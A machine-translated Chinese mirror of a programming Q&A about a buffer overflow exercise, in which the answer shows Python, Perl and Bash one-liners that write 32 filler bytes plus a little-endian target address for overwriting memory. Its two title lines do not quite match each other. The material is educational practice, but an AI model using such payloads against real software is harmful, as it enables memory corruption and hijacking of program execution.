[英]Vulnserver - Buffer overflow NOP characters aren't being passed in properly
[英]overflow with unprintable characters
我做這個溢出練習和我試圖通過溢出訪問的 memory 地址是 0x6010e0,問題是,我很難將這個輸入到程序中。
我試過了
python -c 'print("a"*32 + "\xe0\x10\x60")' > test.txt
然后在 gdb 中,
run < test.txt
但到目前為止還沒有運氣
您應該記住幾件事。
Memory 地址是 32 位或 64 位,但\xe0\x10\x60
只有 24 位。 如果要將完整地址插入堆棧,則應將其更改為\xe0\x10\x60\x00
(對於 32 位 little-endian 機器)或\xe0\x10\x60\x00\x00\x00\x00\x00
(用於 64 位小端機器)。
Python 中的print
語句將 output 在您的字符串之后換行( \x0a
)。 您可以通過將end
參數設置為空字符串(例如print("blah", end="")
)來停止此操作,但由於另一個問題,這仍然無法解決問題......
如果你從命令行運行python -c 'print("\xe0", end="")' > test.txt
然后檢查這個文件的內容( xxd test.txt
),你可能會發現它包含兩個字節( \xc3\xa0
),而不僅僅是您期望的單個字節。 這是因為它使用 UTF8 字符代碼對您的字符串進行編碼。 Python v3 中的print()
語句不是輸出原始字節的最佳方式。 嘗試使用sys.stdout.buffer.write()
代替:
python -c 'import sys; sys.stdout.buffer.write(b"a"*32 + b"\xe0\x10\x60\x00")' > test.txt
正如你所看到的,這開始變得有點麻煩了。 那么為什么不嘗試使用其他東西代替 Python,例如 Perl:
perl -e 'print "a" x 32 . "\xe0\x10\x60\x00"' > test.txt
甚至 Bash:
echo -ne 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe0\x10\x60\x00' > test.txt
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.